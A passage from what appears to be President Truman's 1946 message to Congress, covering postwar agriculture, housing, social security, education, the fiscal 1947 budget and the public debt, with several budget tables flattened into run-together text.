abundance.Agricultural production goals for 1946 call for somewhat greater acreage\nthan actually was planted in 1945. Agriculture is prepared to demonstrate\nthat it can make a peacetime contribution as great as its contribution\ntoward the winning of the war.In spite of supplying our armed forces and our allies during the war with a\nfifth to a fourth of our total food output, farmers were still able to\nprovide our civilians with 8 percent more food per capita than the average\nfor the five years preceding the war. Since the surrender of Japan,\ncivilian food consumption has risen still further. By the end of 1945 the\namount of the increase in food consumption was estimated to be as high as\n15 percent over the prewar average. The record shows that the people of\nthis country want and need more food and that they will buy more food if\nonly they have the jobs and the purchasing power. The first essential\ntherefore in providing fully for the welfare of agriculture is to maintain\nfull employment and a high level of purchasing power throughout the\nNation.For the period immediately ahead we shall still have the problem of\nsupplying enough food. If we are to do our part in aiding the war-stricken\nand starving countries some of the food desires of our own people will not\nbe completely satisfied, at least until these nations have had an\nopportunity to harvest another crop. During the next few months the need\nfor food in the world will be more serious than at any time during the war.\nAnd, despite the large shipments we have already made, and despite what we\nshall send, there remain great needs abroad.Beyond the relief feeding period, there will still be substantial foreign\noutlets for our farm commodities. The chief dependence of the farmer,\nhowever, as always, must be upon the buying power of our own people.The first obligation of the Government to agriculture for the reconversion\nperiod is to make good on its price-support commitments. This we intend to\ndo, with realistic consideration for the sound patterns of production that\nwill contribute most to the long-time welfare of agriculture and the whole\nNation. The period during which prices are supported will provide an\nopportunity for farmers individually to strengthen their position in\nchanging over from a wartime to a peacetime basis of production. It will\nprovide an opportunity for the Congress to review the needs of agriculture\nand make changes in national legislation where experience has shown changes\nto be needed. In this connection, the Congress will wish to consider\nlegislation to take the place of the 1937 Sugar Act which expires at the\nend of this year. During this period we must do a thorough job of basic\nplanning to the end that agriculture shall be able to contribute its full\nshare toward a healthy national economy.Our long-range agricultural policies should have two main objectives:\nFirst, to assure the people on the farms a fair share of the national\nincome; and, second, to encourage an agricultural production pattern that\nis best fitted to the Nation's needs. To accomplish this second objective\nwe shall have to take into consideration changes that have taken place and\nwill continue to take place in the production of farm commodities--changes\nthat affect costs and efficiency and volume.What we seek ultimately is a high level of food production and consumption\nthat will provide good nutrition for everyone. This cannot be accomplished\nby agriculture alone. We can be certain of our capacity to produce food,\nbut we have often failed to distribute it as well as we should and to see\nthat our people can afford to buy it. The way to get good nutrition for the\nwhole Nation is to provide employment opportunities and purchasing power\nfor all groups that will enable them to buy full diets at market prices.Wherever purchasing power fails to reach this level we should see that they\nhave some means of getting adequate food at prices in line with their\nability to buy. Therefore, we should have available supplementary programs\nthat will enable all our people to have enough of the right kind of food.For example, one of the best possible contributions toward building a\nstronger, healthier Nation would be a permanent school-lunch program on a\nscale adequate to assure every school child a good lunch at noon. The\nCongress, of course, has recognized this need for a continuing school-lunch\nprogram and legislation to that effect has been introduced and hearings\nheld. The plan contemplates the attainment of this objective with a minimum\nof Federal expenditures. I hope that the legislation will be enacted in\ntime for a permanent program to start with the beginning of the school year\nnext fall.We have the technical knowledge and the productive capacity to provide\nplenty of good food for every man, woman, and child in the United States.\nIt is time we made that possibility a reality.(g) Resource development.The strength of our Nation and the welfare of the people rest upon the\nnatural resources of the country. We have learned that proper conservation\nof our lands, including our forests and minerals, and wise management of\nour waters will add immensely to our national wealth.The first step in the Government's conservation program must be to find out\njust what are our basic resources, and how they should be used. We need to\ntake, as soon as possible, an inventory of the lands, the minerals, and the\nforests of the Nation.During the war it was necessary to curtail some of our long-range plans for\ndevelopment of our natural resources, and to emphasize programs vital to\nthe prosecution of the war. Work was suspended on a number of flood control\nand reclamation projects and on the development of our national forests and\nparks. This work must now be resumed, and new projects must be undertaken\nto provide essential services and to assist in the process of economic\ndevelopment.The rivers of America offer a great opportunity to our generation in the\nmanagement of the national wealth. By a wise use of Federal funds, most of\nwhich will be repaid into the Treasury, the scourge of floods and drought\ncan be curbed, water can be brought to arid lands, navigation can be\nextended, and cheap power can be brought alike to the farms and to the\nindustries of our land.Through the use of the waters of the Columbia River, for example, we are\ncreating a rich agricultural area as large as the State of Delaware. At the\nsame time, we are producing power at Grand Coulee and at Bonneville which\nplayed a mighty part in winning the war and which will found a great\npeacetime industry in the Northwest. The Tennessee Valley Authority will\nresume its peacetime program of promoting full use of the resources of the\nValley. We shall continue our plans for the development of the Missouri\nValley, the Arkansas Valley, and the Central Valley of California.The Congress has shown itself alive to the practical requirements for a\nbeneficial use of our water resources by providing that preference in the\nsale of power be given to farmers' cooperatives and public agencies. The\npublic power program thus authorized must continue to be made effective by\nbuilding the necessary generating and transmission facilities to furnish\nthe maximum of firm power needed at the wholesale markets, which are often\ndistant from the dam sites.These great developmental projects will open the frontiers of agriculture,\nindustry, and commerce. The employment opportunities thus offered will also\ngo far to ease the transition from war to peace.(h) Public works.During the war even urgently needed Federal, State, and local construction\nprojects were deferred in order to release sources for war production. In\nresuming public works construction, it is desirable to proceed only at a\nmoderate rate, since demand for private construction will be abnormally\nhigh for some time. Our public works program should be timed to reach its\npeak after demand for private construction has begun to taper off.\nMeanwhile, however, plans should be prepared if we are to act promptly when\nthe present extraordinary private demand begins to run out.The Congress made money available to Federal agencies for their public\nworks planning in the fiscal year 1946. I strongly recommend that this\npolicy be continued and extended in the fiscal year 1947.State and local governments also have an essential role to play in a\nnational public works program. In my message of September 6, 1945, I\nrecommended that the Congress vote such grants to State and local\ngovernments as will insure that each level of government makes its proper\ncontribution to a balanced public construction program. Specifically, the\nFederal Government should aid State and local governments in planning their\nown public works programs, in undertaking projects related to Federal\nprograms of regional development, and in constructing such public works as\nare necessary to carry out the various policies of the Federal Government.Early in 1945 the Congress made available advances to State and local\ngovernments for planning public works projects, and recently made\nadditional provision to continue these advances through the fiscal year\n1946. I believe that further appropriations will be needed for the same\npurpose for the fiscal year 1947.The Congress has already made provision for highway programs. It is now\nconsidering legislation which would expand Federal grants and loans in\nseveral other fields, including construction of airports, hospital and\nhealth centers, housing, water pollution control facilities, and\neducational plant facilities. I hope that early action will be taken to\nauthorize these Federal programs.With respect to public works of strictly local importance, State and local\ngovernments should proceed without Federal assistance except in planning.\nThis rule should be subject to review when and if the prospect of highly\nadverse general economic developments warrants it.All loans and grants for public works should be planned and administered in\nsuch a way that they are brought into accord with the other elements of the\nFederal Program.Our long-run objective is to achieve a program of direct Federal and\nFederally assisted public works which is planned in advance and\nsynchronized with business conditions. In this way it can make its greatest\ncontribution to general economic stability.(1) National housing program.Last September I stated in my message to the Congress that housing was high\non the list of matters calling for decisive action.Since then the housing shortage in countless communities, affecting\nmillions of families, has magnified this call to action.Today we face both an immediate emergency and a major postwar problem.Since VJ-day the wartime housing shortage has been growing steadily worse\nand pressure on real estate values has increased. Returning veterans often\ncannot find a satisfactory place for their families to live, and many who\nbuy have to pay exorbitant prices. Rapid demobilization inevitably means\nfurther overcrowding.A realistic and practical attack on the emergency will require aggressive\naction by local governments, with Federal aid, to exploit all opportunities\nand to give the veterans as far as possible first chance at vacancies. It\nwill require continuation of rent control in shortage areas as well as\nlegislation to permit control of sales prices. It will require maximum\nconversion of temporary war units for veterans' housing and their\ntransportation to communities with the most pressing needs; the Congress\nhas already appropriated funds for this purpose.The inflation in the price of housing is growing daily.As a result of the housing shortage, it is inevitable that the present\ndangers of inflation in home values will continue unless the Congress takes\naction in the immediate future.Legislation is now pending in the Congress which would provide for ceiling\nprices for old and new houses. The authority to fix such ceilings is\nessential. With such authority, our veterans and other prospective home\nowners would be protected against a skyrocketing of home prices. The\ncountry would be protected from the extension of the present inflation in\nhome values which, if allowed to continue, will threaten not only the\nstabilization program but our opportunities for attaining a sustained high\nlevel of home construction.Such measures are necessary stopgaps-but only stopgaps. This emergency\naction, taken alone, is good--but not enough. The housing shortage did not\nstart with the war or with demobilization; it began years before that and\nhas steadily accumulated. The speed with which the Congress establishes the\nfoundation for a permanent, long-range housing program will determine how\neffectively we grasp the immense opportunity to achieve our goal of decent\nhousing and to make housing a major instrument of continuing prosperity and\nfull employment in the years ahead. It will determine whether we move\nforward to a stable and healthy housing enterprise and toward providing a\ndecent home for every American family.Production is the only fully effective answer. To get the wheels turning, I\nhave appointed an emergency housing expediter. I have approved\nestablishment of priorities designed to assure an ample share of scarce\nmaterials to builders of houses for which veterans will have preference.\nAdditional price and wage adjustments will be made where necessary, and\nother steps will be taken to stimulate greater production of bottleneck\nitems. I recommend consideration of every sound method for expansion in\nfacilities for insurance of privately financed housing by the Federal\nHousing Administration and resumption of previously authorized low-rent\npublic housing projects suspended during the war.In order to meet as many demands of the emergency situation as possible, a\nprogram of emergency measures is now being formulated for action. These\nwill include steps in addition to those already taken. As quickly as this\nprogram can be formulated, announcement will be made.Last September I also outlined to the Congress the basic principles for the\nkind of decisive, permanent legislation necessary for a long-range housing\nprogram.These principles place paramount the fact that housing construction and\nfinancing for the overwhelming majority of our citizens should be done by\nprivate enterprise. They contemplate also that we afford governmental\nencouragement to privately financed house construction for families of\nmoderate income, through extension of the successful system of insurance of\nhousing investment; that research be undertaken to develop better and\ncheaper methods of building homes; that communities be assisted in\nappraising their housing needs; that we commence a program of Federal aid,\nwith fair local participation, to stimulate and promote the rebuilding and\nredevelopment of slums and blighted areas--with maximum use of private\ncapital. It is equally essential that we use public funds to assist\nfamilies of low income who could not otherwise enjoy adequate housing, and\nthat we quicken our rate of progress in rural housing.Legislation now under consideration by the Congress provides for a\ncomprehensive attack jointly by private enterprise, State and local\nauthorities, and the Federal Government. This legislation would make\npermanent the National Housing Agency and give it authority and funds for\nmuch needed technical and economic research. It would provide additional\nstimulus for privately financed housing construction. This stimulus\nconsists of establishing a new system of yield insurance to encourage\nlarge-scale investment in rental housing and broadening the insuring powers\nof the Federal Housing Administration and the lending powers of the Federal\nsavings and loan associations.Where private industry cannot build, the Government must step in to do the\njob. The bill would encourage expansion in housing available for the lowest\nincome groups by continuing to provide direct subsidies for low-rent\nhousing and rural housing. It would facilitate land assembly for urban\nredevelopment by loans and contributions to local public agencies where the\nlocalities do their share.Prompt enactment of permanent housing legislation along these lines will\nnot interfere with the emergency action already under way. On the contrary,\nit would lift us out of a potentially perpetual state of housing emergency.\nIt would offer the best hope and prospect to millions of veterans and other\nAmerican families that the American system can offer more to them than\ntemporary makeshifts.I have said before that the people of the United States can be the best\nhoused people in the world. I repeat that assertion, and I welcome the\ncooperation of the Congress in achieving that goal.(j) Social security and health.Our Social Security System has just celebrated its tenth anniversary.\nDuring the past decade this program has supported the welfare and morale of\na large part of our people by removing some of the hazards and hardships of\nthe aged, the unemployed, and widows and dependent children.But, looking back over 10 years' experience and ahead to the future, we\ncannot fail to see defects and serious inadequacies in our system as it now\nexists. Benefits are in many cases inadequate; a great many persons are\nexcluded from coverage; and provision has not been made for social\ninsurance to cover the cost of medical care and the earnings lost by the\nsick and the disabled.In the field of old-age security, there seems to be no adequate reason for\nexcluding such groups as the self-employed, agricultural and domestic\nworkers, and employees of nonprofit organizations. Since many of these\ngroups earn wages too low to permit significant savings for old age, they\nare in special need of the assured income that can be provided by old-age\ninsurance.We must take urgent measures for the readjustment period ahead. The\nCongress for some time has been considering legislation designed to\nsupplement at Federal expense, during the immediate reconversion period,\ncompensation payments to the unemployed. Again I urge the Congress to enact\nlegislation liberalizing unemployment compensation benefits and extending\nthe coverage. Providing for the sustained consumption by the unemployed\npersons and their families is more than a welfare policy; it is sound\neconomic policy. A sustained high level of consumer purchases is a basic\ningredient of a prosperous economy.During the war, nearly 5 million men were rejected for military service\nbecause of physical or mental defects which in many cases might have been\nprevented or corrected. This is shocking evidence that large sections of\nthe population are at substandard levels of health. The need for a program\nthat will give everyone opportunity for medical care is obvious. Nor can\nthere be any serious doubt of the Government's responsibility for helping\nin this human and social problem.The comprehensive health program which I recommended on November 19, 1945,\nwill require substantial additions to the Social Security System and, in\nconjunction with other changes that need to be made, will require further\nconsideration of the financial basis for social security. The system of\nprepaid medical care which I have recommended is expected eventually to\nrequire amounts equivalent to 4 percent of earnings up to $3,600 a year,\nwhich is about the average of present expenditures by individuals for\nmedical care. The pooling of medical costs, under a plan which permits each\nindividual to make a free choice of doctor and hospital, would assure that\nindividuals receive adequate treatment and hospitalization when they are\nfaced with emergencies for which they cannot budget individually. In\naddition, I recommended insurance benefits to replace part of the earnings\nlost through temporary sickness and permanent disability.Even without these proposed major additions, it would now be time to\nundertake a thorough reconsideration of our social security laws. The\nstructure should be expanded and liberalized. Provision should be made for\nextending coverage credit to veterans for the period of their service in\nthe armed forces. In the financial provisions we must reconcile the\nactuarial needs of social security, including health insurance, with the\nrequirements of a revenue system that is designed to promote a high level\nof consumption and full employment.(k) Education.Although the major responsibility for financing education rests with the\nStates, some assistance has long been given by the Federal Government.\nFurther assistance is desirable and essential. There are many areas and\nsome whole States where good schools cannot be provided without imposing an\nundue local tax burden on the citizens. It is essential to provide adequate\nelementary and secondary schools everywhere, and additional educational\nopportunities for large numbers of people beyond the secondary level.\nAccordingly, I repeat the proposal of last year's Budget Message that the\nFederal Government provide financial aid to assist the States in assuring\nmore nearly equal opportunities for a good education. The proposed Federal\ngrants for current educational expenditures should be made for the purpose\nof improving the educational system where improvement is most needed. They\nshould not be used to replace existing non-Federal expenditures, or even to\nrestore merely the situation which existed before the war.In the future we expect incomes considerably higher than before the war.\nHigher incomes should make it possible for State and local governments and\nfor individuals to support higher and more nearly adequate expenditures for\neducation. But inequality among the States will still remain, and Federal\nhelp will still be needed.As a part of our total public works program, consideration should be given\nto the need for providing adequate buildings for schools and other\neducational institutions. In view of current arrears in the construction of\neducational facilities, I believe that legislation to authorize grants for\neducational facilities, to be matched by similar expenditures by State and\nlocal authorities, should receive the favorable consideration of the\nCongress.The Federal Government has not sought, and will not seek, to dominate\neducation in the States. It should continue its historic role of leadership\nand advice and, for the purpose of equalizing educational opportunity, it\nshould extend further financial support to the cause of education in areas\nwhere this is desirable.(l) Federal Government personnel.The rapid reconversion of the Federal Government from war to peace is\nreflected in the demobilization of its civilian personnel. The number of\nthese employees in continental United States has been reduced by more than\n500,000 from the total of approximately 2,900,000 employed in the final\nmonths of the war. I expect that by next June we shall have made a further\nreduction of equal magnitude and that there will be continuing reductions\nduring the next fiscal year. Of the special wartime agencies now remaining,\nonly a few are expected to continue actively into the next fiscal year.At the same time that we have curtailed the number of employees, we have\nshortened the workweek by one-sixth or more throughout the Government and\nhave restored holidays. The process of readjustment has been complicated\nand costs have been increased by a heavy turn-over in the remaining\npersonnel--particularly by the loss of some of our best administrators.\nThousands of war veterans have been reinstated or newly employed in the\ncivil service. Many civilians have been transferred from war agencies to\ntheir former peacetime agencies. Recruitment standards, which had to be\nrelaxed during the war, are now being tightened.The elimination last autumn of overtime work for nearly all Federal\nemployees meant a sharp cut in their incomes. For salaried workers, the\nblow was softened but by no means offset by the increased rates of pay\nwhich had become effective July 1. Further adjustments to compensate for\nincreased living costs are required. Moreover, we have long needed a\ngeneral upward revision of Federal Government salary scales at all levels\nin all branches--legislative, judicial, and executive. Too many in\nGovernment have had to sacrifice too much in economic advantage to serve\nthe Nation.Adequate salaries will result in economies and improved efficiency in the\nconduct of Government business--gains that will far outweigh the immediate\ncosts. I hope the Congress will expedite action on salary legislation for\nall Federal employees in all branches of the Government. The only exception\nI would make is in the case of workers whose pay rates are established by\nwage boards; a blanket adjustment would destroy the system by which their\nwages are kept aligned with prevailing rates in particular localities. The\nwage boards should be sensitive now, as they were during the war, to\nchanges in local prevailing wage rates and should make adjustments\naccordingly.I hope also that the Congress may see fit to enact legislation for the\nadequate protection of the health and safety of Federal employees, for\ntheir coverage under a system of unemployment compensation, and for their\nreturn at Government expense to their homes after separation from wartime\nservice.(m) Territories, insular possessions, and the District of Columbia.The major governments of the world face few problems as important and as\nperplexing as those relating to dependent peoples. This Government is\ncommitted to the democratic principle that it is for the dependent peoples\nthemselves to decide what their status shall be. To this end I asked the\nCongress last October to provide a means by which the people of Puerto Rico\nmight choose their form of government and ultimate status with respect to\nthe United States. I urge, too, that the Congress promptly accede to the\nwishes of the people of Hawaii that the Territory be admitted to statehood\nin our Union, and that similar action be taken with respect to Alaska as\nsoon as it is certain that this is the desire of the people of that great\nTerritory. The people of the Virgin Islands should be given an increasing\nmeasure of self-government.We have already determined that the Philippine Islands are to be\nindependent on July 4, 1946. The ravages of war and enemy occupation,\nhowever, have placed a heavy responsibility upon the United States. I urge\nthat the Congress complete, as promptly and as generously as may be\npossible, legislation which will aid economic rehabilitation for the\nPhilippines. This will be not only a just acknowledgment of the loyalty of\nthe people of the Philippines, but it will help to avoid the economic chaos\nwhich otherwise will be their heritage from our common war. Perhaps no\nevent in the long centuries of colonialism gives more hope for the pattern\nof the future than the independence of the Philippines.The District of Columbia, because of its special relation to the Federal\nGovernment, has been treated since 1800 as a dependent area. We should move\ntoward a greater measure of local self-government consistent with the\nconstitutional status of the District. We should take adequate steps to\nassure that citizens of the United States are not denied their franchise\nmerely because they reside at the Nation's Capital.III. THE BUDGET FOR THE FEDERAL PROGRAMFOR THE FISCAL YEAR 1947SUMMARY OF THE BUDGETFor the first time since the fiscal year 1930 the Budget for the next\nfiscal year will require no increase in the national debt.Expenditures of all kinds, authorized and recommended, in the next year are\nestimated at just above 35.8 billion dollars. Net receipts are estimated at\n31.5 billion dollars. The estimated difference of 4.3 billion dollars will\nbe met by a reduction in the very substantial balance which will be in the\nTreasury during the next fiscal year.A large part of the activities outside defense and war liquidation,\naftermath of war, and international finance, classified as \"other\nactivities\" in a following table, is still due to repercussions of the war.\nThese \"other activities\" include more than 2 billion dollars for aids to\nagriculture and net outlays for the Commodity Credit Corporation-almost\ndouble the expenditures for the same purposes in prewar years. This\nincrease is due mainly to expenditures for purposes of price stabilization\nand price support resulting from the war food production program. Other\nincreases in this category are due to the fact that certain wartime\nagencies now in the process of liquidation are included in this group of\nactivities. If all expenditures for those activities which are directly or\nindirectly related to the war are excluded, the residual expenditures are\nbelow those for corresponding activities in prewar years. In making this\ncomparison account should be taken of the fact that, while prewar\nexpenditures were affected by direct relief and work relief for the\nunemployed, the postwar budgets are affected by the considerable increase\nin pay rates and other increases in costs and prices.To elaborate, the Budget, as I have remarked above, reflects on both sides\nof the ledger the Government's program as recommended by the Executive. It\nincludes estimates not only of expenditures and receipts for which\nlegislative authority already exists, but also of expenditures and receipts\nfor which authorization is recommended.The Budget total for the next fiscal year, the year that ends on June 30,\n1947, is estimated at just above 35.8 billion dollars-about a third of the\nbudgets for global war, although nearly four times the prewar budgets. This\nestimate is based on the assumption that a rapid liquidation of the war\nprogram will be associated with rapid reconversion and expansion of\npeacetime production. The total includes net outlays of Government\ncorporations.The estimated expenditures in the next and current fiscal year compare as\nfollows with those of a year of global war and a prewar year:Total Budget expendituresFiscal year: (in millions)1947 $35, 8601946 67,2291945 100, 0311940 9,252Although allowances for occupation, demobilization, and defense are\ndrastically reduced in the fiscal year 1947, they will still amount to 42\npercent of the total Budget. The so-called \"aftermath of war\" expenditures\naccount for a further 30 percent of the total. The total of all other\nprograms, which was drastically cut during the war, is increasing again as\nliquidation of the war program proceeds and renewed emphasis is placed on\nthe peacetime objectives of the Government.On the other side of the ledger, net receipts are estimated at 31.5 billion\ndollars. This estimate assumes that all existing taxes will continue all\nthrough the fiscal year 1947. Included are the extraordinary receipts from\nthe disposal of surplus property.As a result, estimated expenditures will exceed estimated receipts by 4.3\nbillion dollars. This amount can be provided by a reduction in the cash\nbalance in the Treasury. Thus, after a long period of increasing public\ndebt resulting from depression budgets and war budgets, it is anticipated\nthat no increase in the Federal debt will be required next year.FEDERAL BUDGET EXPENDITURES AND BUDGET RECEIPTSIncluding net outlays of Government corporations and credit agencies (based\non existing and proposed legislation)Fiscal yearExpenditures: 1946 1947Defense, war, and war liquidation $49,000 $15,000Aftermath of war: Veterans, interest, refunds 10,813 10,793International finance (including proposed legislation) 2,614 2,754Other activities 4,552 5,813Activities based on proposed legislation(excluding international finance) 2501,500Total expenditures 67, 229 35, 860Receipts (net) 38, 60931,513Excess of expenditures 28,620 4,347The current fiscal year, 1946, is a year of transition. When the year\nopened, in July 1945, we were still fighting a major war, and Federal\nexpenditures were running at an annual rate of about 100 billion dollars.\nBy June 1946 that rate will be more than cut in half. The Budget total for\nthe current fiscal year is now estimated at 67.2 billion dollars, of which\nmore than two-thirds provides for war and war liquidation. Since net\nreceipts are estimated at 38.6 billion dollars, there will be an excess of\nexpenditures of 28.6 billion dollars for the current fiscal year.For all programs discussed in this Message I estimate the total of Budget\nappropriations and authorizations (including reappropriations and permanent\nappropriations) at 30,982 million dollars for the fiscal year 1947. Of this\namount, present permanent appropriations are expected to provide 5,755\nmillion dollars, principally for interest. This leaves 24,224 million\ndollars to be made available through new appropriations, exclusive of\nappropriations to liquidate contract authorizations; 900 million dollars in\nnew contract authorizations; and 103 million dollars through the\nreappropriation of unliquidated balances of previous appropriations. The\nappropriations needed to liquidate contract authorizations are estimated at\n1,113 million dollars.In the Budget for the year ahead only over-all estimates are included at\nthis time for the major war agencies and for net outlays of Government\ncorporations. Detailed recommendations will be transmitted in the spring\nfor the war agencies; and the business-type budgets of Government\ncorporations will likewise be transmitted in accordance with the recently\nadopted Government Corporation Control Act.Similarly, only over-all estimates are provided for new programs\nrecommended in this Message; detailed recommendations will be transmitted\nafter authorizing legislation has been enacted. It should be recognized\nthat many of the estimates for new programs recommended in this Message are\ninitial year figures. These figures will be affected by the date the\nlegislation is enacted and by the time needed for getting a program under\nway. New programs, such as that for a national research agency, will\nrequire larger amounts in later years. The estimates exclude major elements\nof the proposed national health program since the greater part of these\nwill be covered by expenditures from trust funds.The Budget total includes expenditures for capital outlay as well as for\ncurrent operations. An estimated 1,740 million dollars will be expended in\nthe fiscal year 1947 for direct Federal public works and for loans and\ngrants for public works.THE ECONOMIC IMPACT Of THE LIQUIDATIONOF THE WAR PROGRAMGovernment programs are of such importance in the development of production\nand employment opportunities--domestic and international--that it has\nbecome essential to formulate and consider the Federal Budget in the light\nof the Nation's budget as a whole. The relationship between the receipts,\nexpenditures, and savings of consumers, business, and government is shown\nin the accompanying table.Considering the whole Nation, total expenditures must equal the total\nreceipts, because what any individual or group spends becomes receipts of\nother individuals or groups. Such equality can be achieved on either a high\nlevel of incomes or on a low or depression level of incomes.Tremendous orders for munitions during the war shifted production and\nemployment into high gear. Total goods produced and services rendered for\nprivate as well as for Government purposes--the Nation's budget-reached\nabout 200 billion dollars in the calendar year 1944. Federal, State, and\nlocal government expenditures represented half of this total.Corresponding estimates for the past 3 months depict the national economy\nin the process of demobilization and reconversion.The wartime annual rate of Federal expenditures has been reduced by 32\nbillion dollars, while the Nation's budget total has dropped only half as\nmuch. The drop in total value of production and services has been less\ndrastic because increasing private activities have absorbed in large\nmeasure the manpower and materials released from war production and war\nservices.The largest increase in private activities has occurred in business\ninvestments, which include residential and other construction, producers'\ndurable equipment, accumulation of inventories, and net exports. Under\nconditions of global war, expenditures for private construction and\nequipment were held to a minimum and inventories were depleted. With the\nbeginning of reconversion these developments have been reversed.\nResidential construction and outlays for plant and equipment are on the\nincrease; inventories, too, are being replenished. International\ntransactions (excluding lend-lease and international relief which are\nincluded under war expenditures) showed an import surplus under conditions\nof global war. In the past 3 months private exports have been slightly in\nexcess of imports, for the first time since 1941.Consumers' budgets show a significant change. On the income side, their\ntotal has declined but little because the reduction in \"take-home\" pay of\nwar workers is, to a large extent, offset for the time being by the\nmustering-out payments received by war veterans and by unemployment\ncompensation received by the unemployed. On the expenditure side, however,\nconsumers' budgets, restricted during the war, have in creased\nsubstantially as a result of the fact that scarce goods are beginning to\nappear on the market and wartime restraints are disappearing. Thus,\nconsumers' current savings are declining substantially from the\nextraordinarily high wartime rate and some wartime savings are beginning to\nbe used for long-delayed purchases.THE GOVERNMENT'S BUDGET AND THE NATION'S BUDGETCalendar year 1944 and October-December 1945Oct.-Dec. 1945 (start ofreconversion) (in seasonallyCalendar Year 1944 (global war) adjusted annual rates)______________________ ____________________Excess ExcessExpendi- (+), def- Expendi- (+),def-Economic Group Receipts tures icit(-) Receipts tures icit(-) CONSUMERSIncome after taxes $134 ....... ...... $132 ...... .......Expenditures ......$98............$107 .......Excess of receipts, savings (+) ...... ...... +$35 ...... ...... +$25\nBUSINESSUndistributed profits and reserves $13 ...... ...... $9 ...... ......Gross capital formation:Domestic ...... $4 ...... ...... $15 ......Net exports1 ......--2............1......Total, gross capital formation ......2............16......Excess of receipts (+) or capitalformation (--) ...... ...... +$11 ...... ...... --$7STATE AND LOCAL GOVERNMENTReceipts from the public, otherthan borrowing $10 ...... ...... $11 ...... ......Payments to the public ...... $8............$9......Excess of receipts (+) ............+$2............+$2FEDERAL GOVERNMENTReceipts from the public, otherthan borrowing $48 ...... ....... $44 ...... ......Payments to the public ......$96 .............$64......Excess of payments (--) ............--$48............. --$20Less: Adjustments2 $7 $7 ....... $14 $14 .......TOTAL: GROSS NATIONAL PRODUCTReceipts $198 ....... ...... $182 ...... ......Expenditures ......$198............ $182......Balance ...... ...... 0 ...... ...... ......1 Excludes exports for lend-lease and relief which are included in Federal\nGovernment expenditures.2 Mainly government expenditures for other than goods and services, such as\nmustering-out pay and unemployment compensation.Unemployment has increased less than was expected during this first period\nof demobilization and reconversion. It is true that 6 million men and women\nhave been discharged from the armed forces since May 1945 and more than 5\nmillion have been laid off from war work. On the other hand, more than a\nmillion civilians have been enlisted in the armed forces, a considerable\nnumber of war veterans have not immediately sought jobs, and many war\nworkers, especially women, have withdrawn from the labor force. In\naddition, many industries, and especially service trades which were\nundermanned during the war, are beginning now, for the first time in years,\nto recruit an adequate labor force. The reduced workweek has also\ncontributed to the absorption of those released from war service and war\nwork.In general, the drastic cut in war programs has thrown the economy into\nlower gear; it has not thrown it out of gear. Our economic machine\ndemonstrates remarkable resiliency, although there are many difficulties\nthat must still be overcome. The rapid termination of war contracts, prompt\nclearance of unneeded Government-owned equipment from private plants, and\nother reconversion policies have greatly speeded up the beginning of\npeacetime work in reconverted plants.Although the first great shock of demobilization and war-work termination\nhas thus been met better than many observers expected, specific industries\nand specific regions show much unevenness in the progress of reconversion.The Quarterly Report of the Director of War Mobilization and Reconversion\nanalyzes the difficulties in recruiting personnel and obtaining materials\nthat hamper reconversion in certain industries and proposes policies to\ndeal with these situations. The lack of adequate housing is one of the main\nfactors checking the flow of workers into areas where job opportunities\nexist.FEDERAL REVENUE, BORROWING, AND THEPUBLIC DEBTI. FINANCIAL REQUIREMENTS AND TAX POLICYRecommendations for tax legislation should be considered not only in the\nlight of the financial requirements of the ensuing year, but also in the\nlight of future years' financial requirements and a full consideration of\neconomic conditions.Expenditures are estimated at nearly 36 billion dollars in the fiscal year\n1947; they can hardly be expected to be reduced to less than 25 billion\ndollars in subsequent years. Net receipts in the fiscal year 1947 are\nestimated at 31.5 billion dollars.Included in this estimate are 2 billion dollars of receipts from disposal\nand rental of surplus property and 190 million dollars of receipts from\nrenegotiation of wartime contracts. These sources of receipts will\ndisappear in future years. Tax collections for the fiscal year 1947 also\nwill not yet fully reflect the reduction in corporate tax liabilities\nprovided in the Revenue Act of 1945. If the extraordinary receipts from the\ndisposal of surplus property and renegotiation of contracts be disregarded,\nand if the tax reductions adopted in the Revenue Act of 1945 were fully\neffective, present tax rates would yield about 27 billion dollars.These estimates for the fiscal year 1947 are based on the assumption of\ngenerally favorable business conditions but not on an income reflecting\nfull employment and the high productivity that we hope to achieve. In\nfuture years the present tax system, in conjunction with a full employment\nlevel of national income, could be expected to yield more than 30 billion\ndollars, which is substantially above the anticipated peacetime level of\nexpenditures.In view of the still extraordinarily large expenditures in the coming year\nand continuing inflationary pressures, I am making no recommendation for\ntax reduction at this time.We have already had a substantial reduction in taxes from wartime peaks.\nThe Revenue Act of 1945 was a major tax-reduction measure. It decreased the\ntotal tax load by more than one-sixth, an amount substantially in excess of\nthe reductions proposed by the Secretary of the Treasury to congressional\ntax committees in October 1945. These proposed reductions were designed to\nencourage reconversion and peacetime business expansion.The possibility of further tax reductions must depend on the budgetary\nsituation and the economic situation. The level of anticipated expenditures\nfor the fiscal year 1947 and the volume of outstanding public debt require\nthe maintenance of large revenues.Moreover, inflationary pressures still appear dangerously powerful, and\nill-advised tax reduction would operate to strengthen them still further.My decision not to recommend additional tax reductions at this time is made\nin the light of existing economic conditions and prospects.2. BORROWING AND THE PUBLIC DEBTThe successful conclusion of the Victory loan marked the end of war\nborrowing and the beginning of the transition to postwar debt management.Because of the success of the Victory loan, I am happy to report that the\nTreasury will not need to borrow any new money from the public during the\nremainder of the present fiscal year except through regular sales of\nsavings bonds and savings notes. Furthermore, a part of the large cash\nbalance now in the Treasury will be used for debt redemption so that the\npublic debt which now amounts to about 278 billion dollars will decrease by\nseveral billion dollars during the next 18 months. The present statutory\ndebt limit of 300 billion dollars will provide an ample margin for all of\nthe public-debt transactions through the fiscal year 1947. The net effect\nof the excess of expenditures and debt redemption on the Treasury cash\nbalance, as compared with selected previous years, is shown in the\nfollowing table:EXCESS Of BUDGET EXPENDITURES, THE PUBLIC DEBT, AND THE TREASURY CASH\nBALANCE IN SELECTED YEARSExcess of At end of periodBudget ex- _____________________penditures Public Cash bal-Fiscal Year over receipts debt ance1940 $3. 9 $43. 0 $1. 91945 53. 6 258. 7 24. 7 1946:July-Dec. 1945 18. 1 278. 1 26. 0Jan.-June 1946 10. 5 275. 0 11. 91947 4. 3 271. 0 3. 2Although the public debt is expected to decline, a substantial volume of\nrefinancing will be required, because of the large volume of maturing\nobligations. Redemptions of savings bonds also have been running high in\nrecent months and are expected to remain large for some time. The issuance\nof savings bonds will be continued. These bonds represent a convenient\nmethod of investment for small savers, and also an anti-inflationary method\nof refinancing. Government agencies and trust funds are expected to buy\nabout 2.5 billion dollars of Government securities during the next 6\nmonths, and 2.8 billion dollars more during the fiscal year 1947. Through\nthese and other debt operations, the distribution of the Federal debt among\nthe various types of public and private owners will change, even though the\ntotal is expected to decline.The interest policies followed in the refinancing operations will have a\nmajor impact not only on the provision for 